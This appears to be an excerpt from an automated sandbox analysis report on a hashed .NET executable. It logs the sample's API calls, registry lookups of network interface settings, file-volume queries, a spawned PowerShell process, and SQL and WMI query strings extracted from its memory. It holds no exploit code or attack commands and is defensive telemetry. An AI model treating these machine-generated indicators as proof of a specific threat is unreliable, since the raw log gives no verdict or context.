1c0100000a00000000000000ab3f00000200000000003b77a0327608a03276080000000078877608c8e075082031760806000000d8e0750810000e0050f53b7718707508187075080000000032702e13a0dd74082862750828000000b0dd74080a00270050f53b77f8857408f885740800000000a03276087881bf03d0847408080000008881bf030b000800700aea07640000007a702e13187075081870750800000000feffffff84709b7698e2350165709b760000bf030000000084709b768e702e13f8857408f885740800000000e32eeb6e18707508b5cee76ee2d3a57d60e23501176fe86ef4e2350170c89c7636e0ba64feffffff84709b760a8eea6ef8857408f08dea6ec0e23501a7cee76e01000000 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000003b77e8357608e83576080000000000000000c8e07508203176081500000050f53b77c8707508c87075080000000084709b76a0dd7408286275082a000000b0dd74080a002c00e00cea076400000050f53b77188874081888740800000000e83576087881bf03d0847408190000008881bf030b001900700aea0764000000c8707508c870750800000000feffffff84709b7694e2350165709b760000bf030000000084709b7682702e13188874081888740800000000e32eeb6ec8707508b5cee76e1ed3a57d5ce23501176fe86ef4e2350170c89c7636e0ba64feffffff84709b760a8eea6e18887408f08dea6ebce23501a7cee76e01000000504be86e (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000068c02d0e38cf3c77dc383f03d4c02d0e0100000090383f03dc383f0390383f03040000000400000000e0267500100000d4c02d0e0100000090383f03cd973c779c973c777812d789b50f1d7590383f0300003c77000000002422f9660000000080ee23750100000000000000f8e22675000000000400000080a9d17348402575f8e22675d8c02d0e80e87d7438ab410380e87d74d4c02d0e0000000080e87d7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f640070b0c41070b (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000166945032e694503 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000668346037a834603 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f640070b0c41070b (UID: 00000000-00000336)2c:T27a6,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f023000002000000000046004900450052003d0049006e00740065006c00360034002000460061006d0069006c0079002000360020004d006f00640065006c0020003700390020005300740065007000700069006e006700200030002c002000470065006e00750069006e00650049006e00740065006c000000500052004f004300450053005300 (UID: 00000000-00000336) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000070000000350036002d0039003000390064002d0034003500620032002d0038006200380064002d00320065003500650031006400350032003200360034003900000030526c7200b00a0007000007094d00006046660080346600720074006200610004000004144d0000b8a76600a0526600300030002e0064006c006c00 (UID: 00000000-00003052) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000005b008000000000000000a1140000dccc4d09ee133c7780000000ee133c77000000000000000080000000f062976e00000000fccc4d0950729b7600005b000000000080000000f062976e02000000002f976e18cd4d09fb62976e010000008004986e885f9d760000000097063c1048cd4d09b864976ef42e976e (UID: 00000000-00003052) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f006e0000005c006d006900630072006f0073006f00660074002e006e00650074005c006600720061006d00650077006f0072006b005c00760034002e0030002e00330030003300310039005c0063006f006e00660069006700050000051aca0000d8caef02c04bee022e0063006f006e0066006900670000002038ee02 (UID: 00000000-00006808) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000000000000007038000000000000000a1140000ecd0b409ee133c7780000000ee133c77000000000000000080000000f062976e000000000cd1b40950729b76000007030000000080000000f062976e02000000002f976e28d1b409fb62976e010000008004986e885f9d76000000002ac4c86c58d1b409b864976ef42e976e (UID: 00000000-00006808) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c0000000000000020000000d4f4aa08ee133c7728121905ee133c7700000000000000000c000000201e5c03001e5c03ecf4aa082823687200005303000000000c000000bceb2305f8f4aa082f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000530380ca5e031800000000000000000000000300000002000000000053030c0000000000000078a9e57374f02f01ee133c7728121905ee133c7700000000000000000c0000006f010f6f281219058cf02f012823687200005303000000000c000000b0140c6f98f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000163c770c000000000000000000000000005303e80f5c031800000000000000000000000300000002000000000053030c00000000000000d724fd72e0f02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f01f8f02f012823687200005303000000000c00000030a5096f04f12f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c000000000000002000000064f4d208ee133c7728121905ee133c7700000000000000000c000000e0125c0300125c037cf4d2082823687200005303000000000c0000002042240588f4d2082f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000163c770c0000000000000000000000000053038baae5731800000000000000000000000300000002000000000053030c00000000000000f8fe5e0350f02f01ee133c7728121905ee133c7700000000000000000c0000006f010f6f68f02f012823687200005303000000000c000000b0140c6f74f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000163c770c00000000000000000000000000530310105c031800000000000000000000000300000002000000000053030c00000000000000d724fd72e0f02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f01f8f02f012823687200005303000000000c00000030a5096f04f12f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c000000000000002000000054ee2e09ee133c7728121905ee133c7700000000000000000c000000189e6003009e60036cee2e092823687200005303000000000c0000002082320578ee2e092f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000163c770c000000000000000000000000005303100000001800000000000000000000000300000002000000000053030c000000000000009cef2f0188ef2f01ee133c7700000000ee133c7700000000000000000c000000ffff0e6fa0ef2f012823687200005303000000000c000000b0140c6facef2f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c0000000000000060f02f013cf02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f01f9684e0354f02f012823687200005303000000000c00000030a5096f60f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c0000000000000070f02f014cf02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f015079550364f02f012823687200005303000000000c00000030a5096f70f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c000000000000002000000094ef2e09ee133c7728121905ee133c7700000000000000000c000000a054e5080054e508acef2e092823687200005303000000000c00000020a23205b8ef2e092f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000530378d059031800000000000000000000000300000002000000000053030c00000000000000c215c97794ef2f01ee133c7700000000ee133c7700000000000000000c000000ffff0e6ff454e508acef2f012823687200005303000000000c000000b0140c6fb8ef2f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c0000000000000070f02f014cf02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f010200000064f02f012823687200005303000000000c00000030a5096f70f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c000000000000002000000094f22e09ee133c7728121905ee133c7700000000000000000c000000c854e5080054e508acf22e092823687200005303000000000c00000020223305b8f22e092f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000000000000000530378d059031800000000000000000000000300000002000000000053030c00000000000000ca15c9779cef2f01ee133c7700000000ee133c7700000000000000000c000000ffff0e6f1458e508b4ef2f012823687200005303000000000c000000b0140c6fc0ef2f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c0000000000000078f02f0154f02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f01020000006cf02f012823687200005303000000000c00000030a5096f78f02f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f0230000020000000000000000000000281219050000530304d2fe721800000000000000000000000300000002000000000053030c000000000000002000000044f0e209ee133c7728121905ee133c7700000000000000000c00000000856203008562035cf0e2092823687200005303000000000c000000e0fc380568f0e2092f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c000000000000002a15c977bcef2f01ee133c7700000000ee133c7700000000000000000c000000ffff0e6f54225b03d4ef2f012823687200005303000000000c000000b0140c6fe0ef2f012f99096f0c000000 (UID: 00000000-00007972) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000005303000000001800000000000000000000000300000002000000000053030c0000000000000098f02f0174f02f01ee133c7700000000ee133c7700000000000000000c000000b0f22f01020000008cf02f012823687200005303000000000c00000030a5096f98f02f012f99096f0c000000 (UID: 00000000-00007972)2d:Taad,Found string "Select * From Tbl_Duyurular" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Etkinlikler" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * from Tbl_Alanlar" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Moderatorler where ModeratorTC = @p1 and ModeratorSifre = @p2" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Sirketler" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Sirketler where SirketID=@p1" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Etkinlikler where EtkinlikSirket='" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Etkinlikler where EtkinlikAlan ='" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Kullanicilar where KullaniciMail=@p1 and KullaniciSifre=@p2" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Sirketler where SirketMail=@p1 and SirketSifre=@p2" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Kullanicilar where KullaniciMail = @p1" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") Found string "Select * From Tbl_Alanlar" (Indicator: "select * from "; File: "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397") file/memory contains long string with (Indicator: "select * from "; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "select * from Win32_OperatingSystem" (Indicator: "select * from "; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.03530000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: "select * from "; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp")2e:Td03,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "SEARCHLIST"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "NAMESERVER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "PROFILENAMESERVER"; Value: "") "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPNAMESERVER"; Value: "")2f:T1445,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" at 00000000-00000336-00000C17-593430397 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll" at 00000000-00000336-00000C17-593671472 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll" at 00000000-00000336-00000C17-593918485 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll" at 00000000-00000336-00000C17-595102758 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Fonts\PRISTINA.TTF" at 00000000-00000336-00000C17-595953363 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll" at 00000000-00000336-00000C17-598322859 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000336-00000C17-598882366 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000336-00000C17-598911060 "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00000336-00000C17-598911338 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll" at 00000000-00003052-00000C17-604570016 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll" at 00000000-00003052-00000C17-605132708 "powershell.exe" queries volume information of "C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" at 00000000-00003052-00000C17-610837327 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll" at 00000000-00003052-00000C17-611643063 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll" at 00000000-00003052-00000C17-612254244 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll" at 00000000-00003052-00000C17-612284976 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003052-00000C17-612369400 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003052-00000C17-612387680 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll" at 00000000-00003052-00000C17-612387929 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll" at 00000000-00003052-00000C17-613123409 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003052-00000C17-613507491 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003052-00000C17-613522626 "powershell.exe" queries volume information of "C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll" at 00000000-00003052-00000C17-613522894 "powershell.exe" queries volume information of "C:\" at 00000000-00003052-00000C17-614662202 "powershell.exe" queries volume information of "C:\share" at 00000000-00003052-00000C17-614669959 "powershell.exe" queries volume information of "C:\share" at 00000000-00003052-00000C17-61496355630:T472,file/memory contains long string with (Indicator: " Win32_Process"; Source: "00000000-00007972.00000000.103107.05190000.00000004.mdmp") Found string "SELECT * FROM Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.03530000.00000004.mdmp, 00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000001.105025.09AF0000.00000004.mdmp, 00000000-00007972.00000002.106946.035BB000.00000004.mdmp, 00000000-00007972.00000002.106946.03621000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.09AF2000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_Process"; Source: "00000000-00007972.00000001.105025.08E50000.00000004.mdmp, 00000000-00007972.00000002.106946.08E50000.00000004.mdmp")31:Ta915,"ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter api-ms-win-core-quirks-l1-1-0.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00000336) "ee57b6fa1e5a3c5ef776b79f32820327bcb3fe1974eeddf65c0eb56131193397.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\combase.dll (UID: 